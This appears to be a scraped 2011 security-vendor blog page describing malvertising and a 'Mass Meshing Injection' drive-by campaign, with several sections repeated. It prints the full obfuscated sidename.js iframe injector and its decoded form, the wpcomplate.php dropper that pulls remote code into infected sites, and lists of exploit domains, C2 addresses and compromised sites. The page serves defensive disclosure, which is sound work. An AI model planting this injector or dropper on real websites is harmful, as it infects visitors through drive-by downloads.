http://nwetdsou.dyndns-web.com/images/aeea8469e09d31020332ac926f183eaa.php?thread_id=2&f=131263&topic_id=de_at&http://set.gambulingwebsites.com/news/aeea8469e09d31020332ac926f183eaa.php?thread_id=2&f=5090485&topic_id=1994&http://tracks.fresnobabies.com/news/aeea8469e09d31020332ac926f183eaa.php?start=2&thread_id=3336736&forum_id=1992&http://vvvvvv.dyndns-mail.com/news/aeea8469e09d31020332ac926f183eaa.php?start=2&thread_id=3271149&forum_id=1997&http://tracks.fresnobabies.com/news/aeea8469e09d31020332ac926f183eaa.php?start=2&thread_id=2336475&forum_id=1992&http://blog.equine-webdesign.com/news/aeea8469e09d31020332ac926f183eaa.php?start=2&thread_id=2328756&forum_id=2010&http://grand.atlantahomevaluesnow.com/news/aeea8469e09d31020332ac926f183eaa.php?start=2&thread_id=56082781&forum_id=1992&http://payments.cavatars.mobi/news/aeea8469e09d31020332ac926f183eaa.php?start=2&thread_id=55210399&forum_id=1991&
[9. The "dyndns" attacker group]
And so, this seemingly-random file name "aeea8469e09d31020332ac926f183eaa.php" file isn't really
random, in fact, it's one of the commonly used file names by this "dyndns" group, and has appeared in various Clicksor malvertising incidents in May, as well as multiple other types of Web malware injections dating much further back.
[10. List of affected websites]
Here's a sample list of affected websites involved in this wave of OpenX hacking to spread "Personal Shield Pro":
theastrologer.com
bancadellecase.com
thrillldrillls.com
luckymoving.com
mediabooks.com
dfonline.jp
dailynews.co.za
perefoorum.ee
sasites.co.za
abmotor.pt
medical-tribune.co.jp
diamondcard.it
adrenal-fatigue.de
allergien-behandeln.de
rhr.ru
kuku.ee
handwerkermarkt.de
Read more (rest of article)...
Cambodia Government CERT website serving malware
Beginning of this year, GlobalSign and Armorize established a joint platform to scan for compromised websites serving malware to visitors.
On July 1st (Friday), we noticed that some of the compromised websites had iframes pointing to www.camcert.gov.kh, which is Website of National Cambodia Computer Emergency Response Team (CamCERT) .
We quickly check out CamCERT's website and confirmed that it's been hacked into and injected with CramePack, which is an Web malware (drive-by download) exploit pack that supports exploits for CVE-2006-0003, CVE-2010-0806
, CVE-2009-3867, CVE-2010-0806, CVE-2007-5659, CVE-2009-0927, CVE-2008-2992, and CVE-2009-3269.
The compromised websites contained an injected piece of javascript that generated an iframe pointing to www.camcert.gov.kh:
http://www.camcert.gov.kh/userfiles/.cache/nolock/index.phpCrimepack was injected into the "nolock" directory under http://www.camcert.gov.kh/userfiles/.cache :
We quickly notified CamCERT, and a few hours later we received an email indicating that they have handled the matter.
Here's GlobalSign's account of this incident.
Read more (rest of article)...
Mass Meshing Injection: sidename.js (now cssminibar.js) ongoing
(Credits: Wayne Huang, Chris Hsiao, NightCola Lin)
(Thanks to Christian Frichot and David Taylor for providing additional info)
(Original post: June 15th)
(Updated: Jun 28th)
A quick summary:
For update on infection estimation for followups, follow me or email me directly.
Contents:
1. Mass Meshing Injection Summary
2. Details on the sidename.js incident
3. Detection rates
4. Malicious scripts
5. Installed malware
6. List of 1200 infected websites
[1. Mass Meshing Injection Summary]
We just realized that it's been more than three years since we first talked about Mass SQL Injections to the English media (PC World, Info World, betanews). Time flies...
When our HackAlert backend lights up like a Christmas tree we know something's going on. This time we want to report a new type of mass-scale drive-by download attack that we'll dub "Mass Meshing Injection" to contrast with "Mass SQL Injection." We've been seeing it since mid January of this year and its usage has been on the rise. We believe it's been developed by CreateCSS group.
Mass SQL Injections have been quite the same ever since our initial report in 2008. Basically, a mass-scale SQL injection is launched, injecting a large number of websites with a malicious script or iframe that would cause the browser to load from a malicious site, which can be a hop point to another malicious site, until finally, exploit code is loaded from the exploit site, the browser is exploited, and malware is installed without the victim's knowledge.
We'll be using the recent lizamoon incident to compare the differences between Mass SQL Injections and Mass Mashing Injections. But first we must note here that lizamoon wasn't a typical Mass SQL Injection--it was less infectious than a typical Mass SQL Injection. Two reasons:
A. Instead of injecting iframes or script srcs to have the browser "secretly" load the malicious content, lizamoon's javascript redirected the browser to the final malicious site, and therefore making it easier for visitors to notice the attack.
B. Mass SQL Injections often serve (0day) drive-by downloads, which would automatically install malware without user knowledge. Simply visiting an infected page would result in installation of malware. Instead, Lizamoon served Web-based fake anti-virus scripts, meaning that the user would have to be tricked into downloading the malware to disk and executing it. So instead of doing nothing, the victim has to first "Save As" and then "Run."
Although it doesn't completely resemble a typical Mass SQL Injection attack, lizamoon attracted great attention recently, and therefore we decided to use it here for comparison.
In Mass SQL Injections, scripts or iframes are injected into innocent victim sites, that cause the browser to load malicious content from the "redirectors," which are domains registered by the attacker. In lizamoon's case, there were only a dozen or more redirector domains, most of which were registered by the same person ("James Northone" jamesnorthone@hotmailbox.com) and hosted on the same network.
These redirectors then redirected the browser to a single location, defender-uqko.in, which served the actual attacking javascript that tried to trick the user into downloading and executing the malware.
This linking strategy, adopted by typical Mass SQL Injection attacks, is easy to detect. Security vendors can signature the dozen-or-so redirector domains. The key here is that the redirector domains all belong to the attacker, and the number is small.
So security vendors can simple blacklist these domains forever and not worry about false alarms when these redirector domains "become clean again"--because they won't.
To defeat this, Mass Meshing Injection does the following:
A. Every infected website contains a redirector script in the root directory; in this case it is sidename.js. This is an obfuscated script that will dynamically generate an iframe to the exploit server, in this case, frankieeus.ru, gaufridboris.ru, stephanos.ru, all hosted on the same IP 89.208.149.214. It runs the BlackHole exploit and serves drive-by downloads.
B. Every infected website is injected, in their pages, with a <script src tag pointing to another random infected website's sidename.js.
And so the end result is, side the infected webpages, there is no more statically injected "malicious redirectors" that security vendors can detect. Every redirector is itself an infected domain, which means blacklisting becomes more difficult and prune to false alerts. Fortunately for this time, the name of the redirector file is still fixed--sidename.js--which can be signatured. If in the future this further changes to a dynamically generated name, detection will be made even more difficult. Details on this can be found in [3. Detection rates].
[2. Details on the sidename.js incident]
A. Mass Meshing Injection first appeared: Mid Jan, 2011
B. Sidename.js (paired with wpcomplate.php) attack first appeared: June 7th, 2011
(Note: Above date as detected by HackAlert, later we confirmed via victim's FTP logs:
Changed to cssminibar.js (paired with wpqonfig.php): June 19th, 2011
D. Exploit: served by the Black Hole exploit pack.
At first, running on several domains, including:
frankieeus.ru
gaufridboris.ru, and
stephanos.ru, which all points to the same IP 89.208.149.214, and also
bogdantevye.ru
jasoncmeyer.ce.ms
act1floral.ce.ms
jwjmusic.cx.cc
act1floral.ce.ms
Afterwards, running on RANDOMLY GENERATED co.cc domains.
Script responsible for random co.cc domains is:
Every time this script is run, it generates a new, random co.cc domain:
The above content is then used to generate the obfuscated script that is written to banner.txt to be subsequently loaded by wpcomplate.php (wpqonfig.php) and written to sidename.js (cssminibar.js).
E. Update mechanism: Three update mechanisms have been continuously observed,
1. The injected <script src=> tag have been continuously changing, meaning, the mesh is dynamic, Site A scripts to site B one day, and to site C the next day. This also indicates that the attacker has an automated backdoor into the infected websites.
2. The sidename.js file itself keeps on changing. Every infected site contains a wpcomplate.php file, which copies content from klubnika34his.com/data/banner.txt.
3. Contents of banner.txt also changes every time script.php is run (as mentioned above). script.php dynamically generates a new, random co.cc domain and then updates banner.txt.
The attacker runs a C++ Builder- or Delphi-based windows program that uses Indy components to trigger (via HTTP) wpcomplate.php (wpqonfig.php), which then retrieves the content of banner.txt and updates sidename.js (cssminibar.js).
This URL documents the updates history:
Excerpts of the content is as follows:
[3. Detection rates]
The following illustrates why Mass Meshing Infection makes detection more difficult. After typical Mass SQL Injections, each infected site is injected with a static URL (javascript src) to a malicious redirector. The number of URLs is small, and their domains are mostly registered by the attacker.
After a Mass Meshing Injection, each site is injected with a static URL to a different infected website. Therefore the number of URL is equivalent to the number of infected sites, which is much larger. At the same time, domains of these URLs are legitimate, innocent, but infected domains, rather than those registered by an attacker, and therefore detection is harder.
Even if vendors do detect all these infected sites and add them to blacklist, the effort is greater, because usually when maliciously registered domains are added to blacklist, they stay there for a long time. But when innocent but infected domains are added to blacklists, care must be made to monitor and remove them from blacklisting quickly, and so as to not cause false alarms.
What's interesting here though, is Website reputation services versus Antiviruses. Reputation services don't need to be that real-time, and therefore they can afford to blacklist a website for a longer time. And it's fair. You were injected, and so you are less trustworthy.
For antiviruses, though, ideally when the website is fixed, they should be removed from the blacklisting. However, as mentioned above, this will require more effort.
Another interesting note is a lot of infected sites of this "sidename.js" incident were already blacklisted by many. This is because many of these websites tend to fall victim to attacks all the time, old and new. Many of this time's victims have malicious files named adv.php, facebook.php, counter.js, js.php, etc, which were left there as a result of previous compromises.
For those URLs we listed in the [6. List of 1200 infected websites] section, Google flagged roughly 20% of all the sample URLs based on this sidename.js Mass Meshing Injection attack. Another 10% was either already blacklisted due to past attacks or recent ones, both of which had nothing to do with Mass Meshing Injection.
And so using the 1200 URL samples and Google blacklisting as an example, 70% of the infected sites were not flagged, 20% were flagged due to Mass Meshing Injection (sidename.js), and another 10% was either already flagged a long time ago, or was flagged recently due to other compromises. (So this 10% of websites had multiple compromises)
From a scan of Alexa's top one million sites, 125 have been infected. A reasonable estimation of the total number of infected sites would be 125 / 1M * 294M active websites (netcraft survey) = 36,625. Our initial estimate was between 20,000 to 30,000 sites, and so this number is close. Note that this is a solid list with the exact proof of the infection, and that the number is of individual websites (domains) and not individual pages. This is compared to the roughly 5,600 Lizamoon infections and the roughly 62,000 Gumblar infections, both estimated by Google, and also the 1154 unique Lizamoon compromised websites as seen by Cisco "throughout the entire seven month run of these (Lizamoon) SQL injection attacks. Quoted from Wikipedia regarding Lizamoon:
"According to Niels Provos, a security researcher at Google, Google's safe browsing database indicates the Lizamoon attacks began around September 2010 and peaked in October 2010 with approximately 5600 infected sites." (reference)
"Cisco researcher Mary Landesman has confirmed that the infection rate appears quite low." (reference)
Below is an illustration given by Niels Provos in his above-mentioned article.
So again the quick summary:
We hope to note here that the above writing is not to question the finding of Lizamoon. It's always difficult for the first party that identifies a threat, because time is limited and you must publish quickly in order for the report to be useful, and therefore it is very difficult to get all the numbers right. We know this drill very well. It's easier to come up with more accurate numbers post-mortum, when there's no time pressure.
[4. Malicious scripts]
For website admins, infected pages contain the following:
Two files are injected into the root foler: sidename.js and wpcomplate.php
Sidename.js doesn't always generate an iframe to the exploit server. When it doesn't, it generates a hidden iframe to google. Following is its contents when it does attack:
Which decodes to:
The contents of the wpcomplate.php file is as follows:
[5. Installed malware]
The installed malware binary keeps on changing, but most are repacked versions of the same backdoor and spambot. Detection rate was 3 out of 42 vendors on VirusTotal.
The malware connects back to 70.36.100.242:443 and listens on port 2455. Static analysis also came up with the following domains:
70.36.100.242:443;
70.36.100.243:443;
70.36.100.244:443;
208.110.80.34:443;
208.110.80.35:443;
208.110.80.36:443;
74.222.4.12:443;
74.222.4.13:443;
black.nightphantom.com:443;
cheburash.com:443;
ns2.romanspamer.com:443;
n1.romanspamer.com:443;
angel.eveningquest.com:443;
[6. Sample list of 1200 infected websites]
After the initial publicaiton of this post, we were noted by
Christian Frichot and David Taylor that apparantly, the meshing system automatically documents infected websites in the following URL:
After counting, that URL recorded 956 websites, out of which were 897 unique websites. Apparantly this file did not include all infected websites, but since we were not able to collect the entire source code package of this meshing system, we do not know why this file did not record all infections.
Finally, below are examples of sites in this sidename.js mesh.
Read more (rest of article)...
(Thanks to Christian Frichot and David Taylor for providing additional info)
(Original post: June 15th)
(Updated: Jun 28th)
| Lizamoon | Sidename.js | |
| Type of attack | Mass SQL Injection | Mass Meshing Injection |
| Victim criteria | Victims have to be tricked into a) downloading a binary and b) executing the binary, in order to be infected. | Victims visit the website and are infected without their knowledge, no clicking required (drive-by download) |
| Number of infected sites | Google: 5600 Cisco: 1154 Throughout 7 months | 20,000-30,000 About two weeks |
| Google blacklisting rate | Don't know | 20%, made difficult due to mass meshing |
| Blacklisting | Easy, because most redirectors are maliciously registered, so they can be blacklisted forever | Harder, because redirectors are infected but otherwise legitimate websites, and so they must be removed from blacklisting once cleaned.. |
| Injection method | SQL injection, error-prune, low success rate. Cannot delete what's been injected. Injections do not change | FTP, total control of files on the website, that's why they can do meshing. Injected script changes often; replaced with new ones |
| Injected content | Same for all infected websites | Different for every infected website |
| Exploit domain | A few registered by the attacker | Unlimited randomly generated co.cc domains |
Contents:
1. Mass Meshing Injection Summary
2. Details on the sidename.js incident
3. Detection rates
4. Malicious scripts
5. Installed malware
6. List of 1200 infected websites
[1. Mass Meshing Injection Summary]
We just realized that it's been more than three years since we first talked about Mass SQL Injections to the English media (PC World, Info World, betanews). Time flies...
When our HackAlert backend lights up like a Christmas tree we know something's going on. This time we want to report a new type of mass-scale drive-by download attack that we'll dub "Mass Meshing Injection" to contrast with "Mass SQL Injection." We've been seeing it since mid January of this year and its usage has been on the rise. We believe it's been developed by CreateCSS group.
Mass SQL Injections have been quite the same ever since our initial report in 2008. Basically, a mass-scale SQL injection is launched, injecting a large number of websites with a malicious script or iframe that would cause the browser to load from a malicious site, which can be a hop point to another malicious site, until finally, exploit code is loaded from the exploit site, the browser is exploited, and malware is installed without the victim's knowledge.
We'll be using the recent lizamoon incident to compare the differences between Mass SQL Injections and Mass Mashing Injections. But first we must note here that lizamoon wasn't a typical Mass SQL Injection--it was less infectious than a typical Mass SQL Injection. Two reasons:
A. Instead of injecting iframes or script srcs to have the browser "secretly" load the malicious content, lizamoon's javascript redirected the browser to the final malicious site, and therefore making it easier for visitors to notice the attack.
B. Mass SQL Injections often serve (0day) drive-by downloads, which would automatically install malware without user knowledge. Simply visiting an infected page would result in installation of malware. Instead, Lizamoon served Web-based fake anti-virus scripts, meaning that the user would have to be tricked into downloading the malware to disk and executing it. So instead of doing nothing, the victim has to first "Save As" and then "Run."
Although it doesn't completely resemble a typical Mass SQL Injection attack, lizamoon attracted great attention recently, and therefore we decided to use it here for comparison.
These redirectors then redirected the browser to a single location, defender-uqko.in, which served the actual attacking javascript that tried to trick the user into downloading and executing the malware.
This linking strategy, adopted by typical Mass SQL Injection attacks, is easy to detect. Security vendors can signature the dozen-or-so redirector domains. The key here is that the redirector domains all belong to the attacker, and the number is small.
So security vendors can simple blacklist these domains forever and not worry about false alarms when these redirector domains "become clean again"--because they won't.
A. Every infected website contains a redirector script in the root directory; in this case it is sidename.js. This is an obfuscated script that will dynamically generate an iframe to the exploit server, in this case, frankieeus.ru, gaufridboris.ru, stephanos.ru, all hosted on the same IP 89.208.149.214. It runs the BlackHole exploit and serves drive-by downloads.
B. Every infected website is injected, in their pages, with a <script src tag pointing to another random infected website's sidename.js.
And so the end result is, side the infected webpages, there is no more statically injected "malicious redirectors" that security vendors can detect. Every redirector is itself an infected domain, which means blacklisting becomes more difficult and prune to false alerts. Fortunately for this time, the name of the redirector file is still fixed--sidename.js--which can be signatured. If in the future this further changes to a dynamically generated name, detection will be made even more difficult. Details on this can be found in [3. Detection rates].
A. Mass Meshing Injection first appeared: Mid Jan, 2011
B. Sidename.js (paired with wpcomplate.php) attack first appeared: June 7th, 2011
(Note: Above date as detected by HackAlert, later we confirmed via victim's FTP logs:
Tue Jun 07 17:22:33 2011 0 93.120.87.2 0 /home/___masked___/public_html/sidename.js)
Changed to cssminibar.js (paired with wpqonfig.php): June 19th, 2011
Sun Jun 19 21:58:55 2011 0 84.247.61.24 0 /home/___masked___/public_html/cssminibar.jsC. Infection mechanism: Automated FTP via stolen credentials. Note that when we googled for mass SQL injected pages, the results we get are those that have failed rather than succeeded. The injection failed, the injected script becomes a part of the pages' content, and indexed by Google. This sidename.js attack has been quite precise, so Google doesn't pick up much.
D. Exploit: served by the Black Hole exploit pack.
At first, running on several domains, including:
frankieeus.ru
gaufridboris.ru, and
stephanos.ru, which all points to the same IP 89.208.149.214, and also
bogdantevye.ru
jasoncmeyer.ce.ms
act1floral.ce.ms
jwjmusic.cx.cc
act1floral.ce.ms
Afterwards, running on RANDOMLY GENERATED co.cc domains.
Script responsible for random co.cc domains is:
http://klubnika34his.com/data/script.php
Every time this script is run, it generates a new, random co.cc domain:
Start Mon, 20 Jun 2011 11:08:50 +0200http://nktnnkr.co.cc/showthread.php?t=51650812Работу закончил Mon, 20 Jun 2011 11:09:12 +0200
The above content is then used to generate the obfuscated script that is written to banner.txt to be subsequently loaded by wpcomplate.php (wpqonfig.php) and written to sidename.js (cssminibar.js).
1. The injected <script src=> tag have been continuously changing, meaning, the mesh is dynamic, Site A scripts to site B one day, and to site C the next day. This also indicates that the attacker has an automated backdoor into the infected websites.
2. The sidename.js file itself keeps on changing. Every infected site contains a wpcomplate.php file, which copies content from klubnika34his.com/data/banner.txt.
3. Contents of banner.txt also changes every time script.php is run (as mentioned above). script.php dynamically generates a new, random co.cc domain and then updates banner.txt.
The attacker runs a C++ Builder- or Delphi-based windows program that uses Indy components to trigger (via HTTP) wpcomplate.php (wpqonfig.php), which then retrieves the content of banner.txt and updates sidename.js (cssminibar.js).
This URL documents the updates history:
http://klubnika34his.com/data/time.txt
Excerpts of the content is as follows:
Старт Wed, 15 Jun 2011 03:22:01 +0200 - Работу закончил Wed, 15 Jun 2011 03:22:23 +0200/nСтарт Wed, 15 Jun 2011 03:26:19 +0200 - Работу закончил Wed, 15 Jun 2011 03:26:41 +0200/nСтарт Wed, 15 Jun 2011 03:27:03 +0200 - Работу закончил Wed, 15 Jun 2011 03:27:25 +0200/nСтарт Wed, 15 Jun 2011 03:27:46 +0200 - Работу закончил Wed, 15 Jun 2011 03:28:09 +0200/nСтарт Wed, 15 Jun 2011 03:48:39 +0200 - Работу закончил Wed, 15 Jun 2011 03:49:02 +0200/nСтарт Wed, 15 Jun 2011 04:09:04 +0200 - Работу закончил Wed, 15 Jun 2011 04:09:27 +0200/nСтарт Wed, 15 Jun 2011 04:29:28 +0200 - Работу закончил Wed, 15 Jun 2011 04:29:50 +0200/nСтарт
[3. Detection rates]
The following illustrates why Mass Meshing Infection makes detection more difficult. After typical Mass SQL Injections, each infected site is injected with a static URL (javascript src) to a malicious redirector. The number of URLs is small, and their domains are mostly registered by the attacker.
After a Mass Meshing Injection, each site is injected with a static URL to a different infected website. Therefore the number of URL is equivalent to the number of infected sites, which is much larger. At the same time, domains of these URLs are legitimate, innocent, but infected domains, rather than those registered by an attacker, and therefore detection is harder.
What's interesting here though, is Website reputation services versus Antiviruses. Reputation services don't need to be that real-time, and therefore they can afford to blacklist a website for a longer time. And it's fair. You were injected, and so you are less trustworthy.
For antiviruses, though, ideally when the website is fixed, they should be removed from the blacklisting. However, as mentioned above, this will require more effort.
Another interesting note is a lot of infected sites of this "sidename.js" incident were already blacklisted by many. This is because many of these websites tend to fall victim to attacks all the time, old and new. Many of this time's victims have malicious files named adv.php, facebook.php, counter.js, js.php, etc, which were left there as a result of previous compromises.
For those URLs we listed in the [6. List of 1200 infected websites] section, Google flagged roughly 20% of all the sample URLs based on this sidename.js Mass Meshing Injection attack. Another 10% was either already blacklisted due to past attacks or recent ones, both of which had nothing to do with Mass Meshing Injection.
And so using the 1200 URL samples and Google blacklisting as an example, 70% of the infected sites were not flagged, 20% were flagged due to Mass Meshing Injection (sidename.js), and another 10% was either already flagged a long time ago, or was flagged recently due to other compromises. (So this 10% of websites had multiple compromises)
From a scan of Alexa's top one million sites, 125 have been infected. A reasonable estimation of the total number of infected sites would be 125 / 1M * 294M active websites (netcraft survey) = 36,625. Our initial estimate was between 20,000 to 30,000 sites, and so this number is close. Note that this is a solid list with the exact proof of the infection, and that the number is of individual websites (domains) and not individual pages. This is compared to the roughly 5,600 Lizamoon infections and the roughly 62,000 Gumblar infections, both estimated by Google, and also the 1154 unique Lizamoon compromised websites as seen by Cisco "throughout the entire seven month run of these (Lizamoon) SQL injection attacks. Quoted from Wikipedia regarding Lizamoon:
"According to Niels Provos, a security researcher at Google, Google's safe browsing database indicates the Lizamoon attacks began around September 2010 and peaked in October 2010 with approximately 5600 infected sites." (reference)
"Cisco researcher Mary Landesman has confirmed that the infection rate appears quite low." (reference)
Below is an illustration given by Niels Provos in his above-mentioned article.
So again the quick summary:
| Lizamoon | Sidename.js | |
| Type of attack | Mass SQL Injection | Mass Meshing Injection |
| Victim criteria | Victims have to be tricked into a) downloading a binary and b) executing the binary, in order to be infected. | Victims visit the website and are infected without their knowledge, no clicking required (drive-by download) |
| Number of infected sites | Google: 5600 Cisco: 1154 Throughout 7 months | 20,000-30,000 Will post exact estimation number soon June 7th to now, 8 days |
| Google blacklisting rate | Don't know | 20%, made difficult due to mass meshing |
| Blacklisting | Easy, because most redirectors are maliciously registered, so they can be blacklisted forever | Harder, because redirectors are infected but otherwise legitimate websites, and so they must be removed from blacklisting once cleaned.. |
| Injection method | SQL injection, error-prune, low success rate. Cannot delete what's been injected. Injections do not change | FTP, total control of files on the website, that's why they can do meshing. Injected script changes often; replaced with new ones |
| Injected content | Same for all infected websites | Different for every infected website |
| Injected content | Same for all infected websites | Different for every infected website |
| Exploit domain | A few registered by the attacker | Unlimited randomly generated co.cc domains |
We hope to note here that the above writing is not to question the finding of Lizamoon. It's always difficult for the first party that identifies a threat, because time is limited and you must publish quickly in order for the report to be useful, and therefore it is very difficult to get all the numbers right. We know this drill very well. It's easier to come up with more accurate numbers post-mortum, when there's no time pressure.
[4. Malicious scripts]
For website admins, infected pages contain the following:
<script type="text/javascript" src="http://cartrust.net/sidename.js"></script>Where "cartrust.net" can be an arbitrary infected website.
Two files are injected into the root foler: sidename.js and wpcomplate.php
Sidename.js doesn't always generate an iframe to the exploit server. When it doesn't, it generates a hidden iframe to google. Following is its contents when it does attack:
el=document.createElement("div");el.innerHTML="ReferenceErr";el.appendChild(document.createTextNode("q"));el.insertBefore(document.createTextNode("l"),el.childNodes[1]);try{try{throw 1}catch(a){b[2]=21};}catch(a){k=el.firstChild.nodeValue+a.toString().substr(0,0);};ar="Er(ufd31i.wam<)g [TsnBle]bcv?N9 =\"{0/};2p'4hy,t>C:Ao56";ar2="R64c0c-32c-16c108c-116c12c184c-100c-92c36c44c-12c104c-148c24c32c92c-184c88c4c-44c44c-12c104c-108c8c92c-104c-28c16c56c-72c4c44c-84c156c-64c104c-184c156c-12c-108c12c72c-44c-40c80c-72c0c0c-32c-16c-12c40c4c44c-88c4c48c96c-88c0c84c-24c-32c-4c-12c16c32c12c-72c0c0c-44c184c-100c-92c36c44c-12c104c-148c4c-36c28c152c-92c-84c124c-80c-20c-16c-12c40c4c44c32c-48c-72c100c24c36c8c12c0c-24c36c-52c0c-84c-16c-32c4c-12c28c-12c80c104c-200c28c44c-40c-32c8c132c-128c188c-200c8c36c-12c124c12c-12c-48c72c-24c-32c-108c80c112c-196c76c-68c96c-16c16c48c-64c104c-52c-128c180c0c-44c-40c-84c-8c-12c164c-12c-44c36c-136c112c24c-40c48c-80c-60c28c112c12c-56c36c-136c112c24c-40c-48c108c-8c-88c4c36c36c-56c-76c44c-44c68c-68c56c-56c152c-8c20c-24c-140c-12c0c72c-12c72c8c44c-128c-44c152c-152c172c-124c116c-152c56c-24c128c-116c-76c172c-92c60c-64c4c-76c168c12c-56c12c32c20c-44c36c-56c12c12c24c-136c92c-112c-16c-12c40c4c44c96c-56c-76c96c-88c0c84c-84c0c-48c-4c68c24c80c-152c172c-124c44c-92c-16c-12c40c4c44c-88c4c48c80c-72c0c0c44c-64c-40c120c-108c108c4c-4c-104c184c-100c-92c36c44c-12c104c-148c68c-100c88c-48c140c-92c-92c88c4c-44c44c-12c104c-176c156c-132c-16c-12c40c4c44c72c-108c96c-136c20c40c16c92c16c-16c0c-180c28c68c-88c172c-92c-84c156c-88c-72c100c60c16c-16c8c12c0c-24c36c-52c0c-84c-16c-32c4c-12c28c-12c80c104c-200c28c44c-40c-32c8c132c-128c188c-200c8c36c-12c124c12c-12c-48c72c-24c-32c-108c80c112c-196c76c-68c96c-16c16c48c-64c104c-52c-128c180c0c-44c-108c96c-136c20c40c108c-8c-88c4c-56c72c-76c44c-44c68c-68c56c-56c152c-8c-48c36c8c-140c-12c0c72c-12c84c-12c-136c20c40c108c-8c-88c4c-56c124c44c-128c-44c152c-152c172c-124c48c36c-120c56c-24c128c-116c-76c172c-92c72c-12c-136c20c40c108c-8c-88c4c-56c52c4c-76c168c-56c36c-24c24c-12c-136c20c40c108c-8c-88c4c-56c148c20c-44c-32c36c-24c24c-12c-136c20c40c16c92c16c-16c0c-180c28c68c-88c172c-92c-84c156c-124c-8c-12c164c-12c-8c16c-16c-136c112c24c-108c96c-136c20c40c16c92c16c-16c0c-180c28c68c-88c172c-92c-84c156c8c-80c-60c28c112c12c-20c16c-16c-136c112c24c-108c96c-88c0c0c-44c184c-100c-92c36c44c-12c104c-148c24c32c92c-184c88c4c-44c44c-12c104c-108c8c92c-104c-28c16c56c-72c4c44c-84c156c-64c104c-184c156c-12c-108c12c72c-44c-60c8c116c0c-68c-12c-60c172c-20c-140c56c-68c-12c8c40c96c-88c0c84";pau="urn eReferenceErr".replace(k,"va"+el.childNodes[1].nodeValue);e=Function("ret"+pau)();ar2=ar2.split("c");ar2[0]="64";s="";pos=0;i=0;while(i<605){e('po'.concat('s+=par','seInt(k','.rep','lace("R','eferen','","0a','sd"))+','ar2[','i]/','4'));e('s+=ar.substr(pos,1)');i++;}e(s);Which decodes to:
if (document.getElementsByTagName('body')[0]){ iframer(); } else { document.write("<iframe src='http://gaufridboris.ru/forum.php?tp=db6fe39c94c52155' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); } function iframer(){ var f = document.createElement('iframe');f.setAttribute('src','http://gaufridboris.ru/forum.php?tp=db6fe39c94c52155');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10'); document.getElementsByTagName('body')[0].appendChild(f); }The contents of the wpcomplate.php file is as follows:
<?php// ----------------------------------------------------------------------// touch this! ---------------------------------------------------------define( 'CACHE_DEBUG',false );define( 'CACHE_TIME_SECONDS',0 );define( 'CACHE_UPDATE_URL',"http://klubnika34his.com/data/banner.txt" );define( 'CACHE_FILE',"sidename.js" );// ----------------------------------------------------------------------$cache_code = null;$cache_file = CACHE_FILE;$cached_time = time() - (file_exists($cache_file) ? filemtime($cache_file) : 0);// ----------------------------------------------------------------------if (CACHE_DEBUG) echo "Cached time is {$cached_time} seconds, update planned after ".(CACHE_TIME_SECONDS - $cached_time)." seconds\n";// ----------------------------------------------------------------------// check cached time if($cached_time > CACHE_TIME_SECONDS){ // get new cache code $cache_code = file_get_contents(CACHE_UPDATE_URL); if(!empty($cache_code)) { if (CACHE_DEBUG) echo "Update cache...\n"; write_cache($cache_file, $cache_code); } else { if (CACHE_DEBUG) echo "Can't get cache data!\n"; }}else{ if(CACHE_DEBUG) echo "Read cache code...\n"; // extract cached data $cache_code = extract_cache($cache_file); if(empty($cache_code)) { if (CACHE_DEBUG) echo "Cache empty! Update cache...\n"; $cache_code = file_get_contents(CACHE_UPDATE_URL); if(!empty($cache_code)) { // write cache write_cache($cache_file, $cache_code); } else { if (CACHE_DEBUG) echo "Can't get cache data!\n"; } }}// ----------------------------------------------------------------------header("Content-Type: text/plain; charset=windows-1251");echo $cache_code;// ----------------------------------------------------------------------exit;// ----------------------------------------------------------------------/// read file datafunction file_get_contents_locked($file_path){ $fp = fopen($file_path, "r"); if($fp !== FALSE) { flock($fp, LOCK_EX); $data = fread($fp, filesize($file_path)); flock($fp, LOCK_UN); fclose($fp); return $data; } return FALSE;}// ----------------------------------------------------------------------/// extract cache from file by cache markersfunction extract_cache($file_path){ if(file_exists($file_path)) return file_get_contents_locked($file_path); return null;}// ----------------------------------------------------------------------// write cache to filefunction write_cache($file_path, $cache_data){ if(file_exists($file_path) && !is_writable($file_path)) { if (CACHE_DEBUG) echo "Cache file not writable!\n"; return null; } $fp=fopen($file_path, "w+"); flock($fp, LOCK_EX); fwrite($fp, $cache_data); flock($fp, LOCK_UN); fclose($fp);}------------[5. Installed malware]
The installed malware binary keeps on changing, but most are repacked versions of the same backdoor and spambot. Detection rate was 3 out of 42 vendors on VirusTotal.
The malware connects back to 70.36.100.242:443 and listens on port 2455. Static analysis also came up with the following domains:
70.36.100.242:443;
70.36.100.243:443;
70.36.100.244:443;
208.110.80.34:443;
208.110.80.35:443;
208.110.80.36:443;
74.222.4.12:443;
74.222.4.13:443;
black.nightphantom.com:443;
cheburash.com:443;
ns2.romanspamer.com:443;
n1.romanspamer.com:443;
angel.eveningquest.com:443;
[6. Sample list of 1200 infected websites]
After the initial publicaiton of this post, we were noted by
Christian Frichot and David Taylor that apparantly, the meshing system automatically documents infected websites in the following URL:
http://klubnika34his.com/data/workurls.txtWe were not aware of this prior to their update. An excerpt of the URL's contents is as follows:
http://getbig.com/articles/wpcomplate.phphttp://ekudakov.ru/wpcomplate.phphttp://studiodada.biz/wpcomplate.phphttp://woweb.biz/wpcomplate.phphttp://www.metapo.com/wpcomplate.phphttp://teamroomonline.com/wpcomplate.php
After counting, that URL recorded 956 websites, out of which were 897 unique websites. Apparantly this file did not include all infected websites, but since we were not able to collect the entire source code package of this meshing system, we do not know why this file did not record all infections.
Finally, below are examples of sites in this sidename.js mesh.
